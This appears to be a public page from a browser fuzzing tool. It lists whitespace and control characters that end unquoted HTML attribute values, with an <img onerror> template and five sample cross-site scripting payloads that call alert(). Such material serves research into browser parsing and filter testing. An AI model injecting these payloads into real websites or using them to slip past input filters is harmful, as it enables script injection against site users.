Characters that end unencapsulated HTML attribute values

Characters that can be used to end unencapsulated HTML attribute values.

Novice Fuzzer

Created byola456

Created May 14, 2025

Updated May 28, 2025

Unable to render tweet button

Detecting browser...

CategoryDOM Behavior

VisibilityPublic

TypeXSS

CharsetUTF-8

Template used:

<img src=x$[chr]onerror=log($[i])>

Sample payloads

<img src=x0x09onerror=alert(9)>

<img src=x
onerror=alert(10)>

<img src=x0x0Conerror=alert(12)>

<img src=x0x0Donerror=alert(13)>

<img src=x onerror=alert(32)>